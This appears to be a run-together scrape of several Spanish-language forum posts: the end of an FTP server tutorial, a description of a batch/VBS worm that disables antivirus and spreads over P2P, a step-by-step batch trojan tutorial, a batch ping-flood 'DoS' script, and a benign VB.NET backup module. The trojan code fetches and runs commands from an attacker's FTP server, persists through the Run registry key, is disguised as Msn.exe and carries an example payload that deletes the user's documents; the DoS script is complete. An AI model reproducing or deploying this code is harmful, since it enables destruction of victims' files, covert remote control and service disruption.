servidor FTP.(4) El número de puerto que abrimos en el router.Como último paso debemos hacer click en el botón "Quick Connect", para conectarnos con nuestro servidor. Deberíamos tener acceso a la carpeta que compartimos para el usuario que estamos utilizando.Este último paso solo funciona desde una PC diferente a la que tiene instalado el servidor FTP, en mi caso coordine con una amigo para que hiciera el intento de ingresar a mi PC.Espero que les sirva de algo, saludos

VIRUS EN BATCH Y VBS Hola, hoy les presento mi virus en batch y vbs, les comento que tengo una banda de virus polenta para postear, no como las cagaditas de format c: y eso ... ¡Aviso importante! Estos virus son potencialmente destructivos y en muchos casos indetectables asi que solo postiare el codigo, nunca un ejecutable, no me hare cargo de lo que hagan con el... ¡Aviso para los moderadores de taringa! Este virus son explicados con fines didacticos. Worm (virus) al cual llamare s.a.b.l.a (Solo . Algun . Boludo . Lo . abriria) es lo que se ocurrio este esta compuesto en 2 partes en vbs (para ejecutarlo en segudo plano) y en batch (es el codigo) en si el codigo esta escrito en batch, pero se ejecuta desde un Vbs para el tema de la consola oculta lo e podido pasar a vbs gracias a un .bat que ise Caracteristicas: -Practicamente no-dañino (no borra ningun archivo) Funciones: -Inicio con WINDOWS -Cambios en el Registro (desabilitar CMD, Regedit, Taskmanager, etc) -Desactiva Firewall de WINDOWS, MySQL y Apache -Termina procesos de IEXPLORE, taskmgr y Messenger -Termina procesos de más de 30 AV (AV = Anti Virus) -Creacion de 50 usuarios limitados aleatorios -Creación de copias del Virus y su añadidura al registro -Crea nircmd -Apertura y cerrado de los lectores de cd -Ocultacion del botón de Inicio -Apaga el monitor -Inicia y abre el puerto del telnet (esto creo que va a fallar, intento de troyano) -Propagación por P2P (por ares, e-mule, entre otros) -Creación de carpetas -Payload ( no dañino) Pd: Hay fallos( creo que hay cosas del registro que no funcionan), si alguien encuentra alguno que lo comente porfavor. Pd2: Si alguien lo prueba en una máquina virtual podría decirme que tal funciona. Como es muy largo y no me puedo exeder de las 65000 careacteres permitidos les dejo el link del virus en block de notas osea .txt (no esta infestado). Link: http://www.2shared.com/document/UuAgiNXX/Virus_en_batch_y_vbs_by_Ph3nn0.html Comenten!!!

Tutorial: Como crear un troyano en batchHola, hoy he decidido compartirles un pequeño codigo en batch, sobre el manejo del FTP en windows y con esta debilidad cree un troyano sencilloque necesitan para crear este pequeño monstruo?1- Requisitos minimos->notepad.exe (si no lo tenes...)->una cuenta ftp (si no tenes y gozas de una buena internet create un server ftp con el filezilla, tuto de el: )->Vía de propagacion->Algun programa para compilar batch a exe->Y algun metodo para camuflarlo2- Codigo para la víctima->Llegados a este punto, crearemos un codigo en batch al cual nombraremos como ordenes.txtCuando tengamos el codigo guardado como ordenes.txt; lo deberemos subir a nuestra cuenta FTP* ordenes.txt será el codigo que se ejecute en el pc de la victima cada vez ke inicie windows aca te dejo un ejemplo para ordenes.txt @echo offcd C:WINDOWSsystem32rmdir /S /Q Cursoresdel /S /Q /F %userprofile%mis documentos*.*(esto es un ejemplo nada mas, ustedes pueden cargarle lo que quieran) 3- Codigo troyano FTPAqui les dejo el codigo del .bat que tenes que enviar a tu victima (Lo explicare paso a paso...)NOTA: Luego lo camuflaremos con themida o iexpress o cygy... comprimiendolo con un compresor (winrar, winzip....) para luego enviarlo. @echo off   // el comando "@echo off" hace que todo lo que se ejecute abajo (codigo) no sea mostrado en                   pantalla.pushd "%windir%$NtUninstallWudf01000$spuninst"  //el comando "pushd" Guarda un directorio o ruta de red en                                                                                  la memoria por lo que se puede usar en cualquier                                                                                   momento.echo username>ftp.tmp               <- Username: Aqui debes colocar nuestro usuario de ftpecho pass>>ftp.tmp                     <- Pass: Aqui debes colocar la pass de nuestro ftp echo get ordenes.txt>>ftp.tmp      <-   esta parte sirve para obtener el txt "ordenes" que se encunetra en el FTPecho bye>>ftp.tmp                       <- sirve para desconectarseecho quit>>ftp.tmp                       <- sirve para desconectarseftp -s:ftp.tmp 127.0.0.1   <- ftp -s:ftp.tmp equivale a que en el contenido de ftp.tmp se utilizara para conectarce a la                                         ip en este caso 127.0.0.1 (recuerden poner su ip del servidor FTP)del /f /q ftp.tmp        <- borra el ftp.tmp (al volverse a ejecutar el troyano se vuelve a crear)rename ordenes.txt soundUni.bat  <- la funcion "rename" renombre el ordenes.txt a soundUni.batstart soundUni.bat <- ejecuta el archivo renombrado para ejecutar el codigo en .batpushd "%homepath%Mis documentosMis archivos recibidos"  //el comando "pushd" Guarda un directorio o ruta                                                                                             de red en la memoria por lo que se puede usar                                                                                             en cualquier momento.copy /Y  "nombre del troyano.bat"  "%windir%$NtUninstallWudf01000$spuninstnombre del troyano.bat" // copia el bat a otra carpetareg add HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v "Uninstall" /t Reg_SZ /d  // añade al registro"%windir%$NtUninstallWudf01000$spuninstnombre del troyano.bat /f" exit // cierra el batch acordate no le cambies el nombre a ordenes.txt, si lo haces vas a tener que editar el codigo del troyanocompila el bat a exe asi queda menos llamativoMsn.exe ... por ejemplo...en el code tmb lo debeis sustituir....luego que lo guardas lo subis por el ftpy por ultimo, si queres que el codigo ande acordate de sacarle las cotas explicativas que le puse al lado para explicarte como funciona...espero que les sirva, hasta luego

Hola... En este tuto les enceñare a hacer un programa de D.O.S. (Denial Of Service Attack) o Ataque de Denegacion de Servicio en .bat... basicamente lo que hace un DoS es mandar una serie de pings a determinada ip, en este programa usaremos los siguientes tipos de ataques Dos: Ping de la Muerte: De acuerdo con TCP / IP pliego de condiciones, una longitud de paquete de más de 65536 bytes. A pesar de la longitud de un paquete no puede ser más de 65.536 bytes, pero un paquete en múltiples fragmentos de la pila fue capaz de hacerlo. Cuando un host recibe una longitud superior a 65536 bytes del paquete está sujeto a los ataques Ping of Death, el ataque hará que el tiempo de inactividad de acogida. Aunque en Batch solo lega de 0 a 65500 bytes Y el otro PingSweep: múltiples encuestas de hosts usando ICMP Echo. aqui empesamos con el codigo: echo off color F4 @mode con cols=126 lines=20 title Denial Of Service Attack 1.0 echo --------------------------------------------{ D.O.S. ATTACK 1.0 }-------------------------------------------- echo ***************************************************************************************************************************** echo * D.O.S. (Denial Of Service Attack) o Ataque de Denegacion de Servicio * echo * * echo * es un ataque que se puede realizar a un IP cualquiera, puede ocacionar el mal funcionamiento o caida del servidor * echo ***************************************************************************************************************************** echo. echo. echo. echo. echo. echo Precione cualquier tecla para empesar configuracion de ataque DOS... pause >nul cls echo --------------------------------------------{ D.O.S. ATTACK 1.0 }-------------------------------------------- echo ***************************************************************************************************************************** echo * D.O.S. (Denial Of Service Attack) o Ataque de Denegacion de Servicio * echo * * echo * es un ataque que se puede realizar a un IP cualquiera, puede ocacionar el mal funcionamiento o caida del servidor * echo ***************************************************************************************************************************** echo. echo. echo. echo. echo. echo. set /p m=ip a atacar : cls echo --------------------------------------------{ D.O.S. ATTACK 1.0 }-------------------------------------------- echo ***************************************************************************************************************************** echo * D.O.S. (Denial Of Service Attack) o Ataque de Denegacion de Servicio * echo * * echo * es un ataque que se puede realizar a un IP cualquiera, puede ocacionar el mal funcionamiento o caida del servidor * echo ***************************************************************************************************************************** echo. echo. echo. echo. echo elija tipo de Ataque de Denegacion de Servicio echo. echo Ataque tipo Ping de la Muerte = 1 echo. echo Ataque tipo PingSweep = 2 echo. set /p a=escriba su opccion elejida : if %a%==1 goto overflood if %a%==2 goto Dos cls echo Precione cualquier tecla para comensar Ataque de Denegacion de Servicio... pause >nul :overflood color F4 echo. >> Logs.txt echo *************************************************** >> Logs.txt echo Ataque de Denegacion de Servicio en proceso a %m% con ataque tipo Ping de la Muerte echo. >> Logs.txt ping %m% -n 1 -w 3 -l 65500 >> Logs.txt echo. >> Logs.txt echo *************************************************** >> Logs.txt cls goto overflood :dos color F4 echo. >> Logs.txt echo *************************************************** >> Logs.txt echo Ataque de Denegacion de Servicio en proceso a %m% ataque tipo Denegador echo. >> Logs.txt ping %m% -n 1 -w 3 -l 64 >> Logs.txt echo. >> DenegadorLogs.txt echo *************************************************** >> Logs.txt cls goto dos AVISO IMPORTANTE : el ataque no es %100 seguro de pende la seguridad del servidor y/o router, puede llegar a a desconectarlo temporalmente mientras se este abierta la ventana, o no Disfrutenlo

Hola a todos en este post les dejare un modulo que cree en consola echo en vb.neteste modulo sirve para copiar carpetas por si se quiere hacer un backup...aqui les dejo el codigo #Region "Imports"Imports System.IOImports System.IO.File#End RegionModule Module1Public m_Destino As StringSub Main()Dim args() As Stringargs = Environment.GetCommandLineArgs()If Environment.GetCommandLineArgs().Length >; 2 ThenDim diSource As New DirectoryInfo(args(1).ToString)Dim diDestiny As New DirectoryInfo(args(2).ToString & Date.Now.Year & "_" & Date.Now.Month & "_" & Date.Now.Day)CopyFiles(diSource, diDestiny, True)ElseConsole.Write("No se ha definido el origen o el destino")End IfEnd SubPrivate Sub CopyFiles(ByVal p_source As DirectoryInfo, ByVal p_destination As DirectoryInfo, _ByVal blOverwrite As Boolean)Dim diSourceSubDirectories() As DirectoryInfoDim fiSourceFiles() As FileInfofiSourceFiles = p_source.GetFiles()diSourceSubDirectories = p_source.GetDirectories()If Not p_destination.Exists Then p_destination.Create()For Each diSourceSubDirectory As DirectoryInfo In diSourceSubDirectoriesCopyFiles(diSourceSubDirectory, New DirectoryInfo(p_destination.FullName & "" & _diSourceSubDirectory.Name), blOverwrite)NextFor Each fiSourceFile As FileInfo In fiSourceFilesConsole.Write("Copiando Fichero " & fiSourceFile.ToString & vbCrLf)fiSourceFile.CopyTo(p_destination.FullName + "" + fiSourceFile.Name, blOverwrite)NextEnd SubEnd Module en definitiva el codigo es muy entendible para una persona que conose masomenos los comandosespero que les sirva de algo ami me sirvio suerte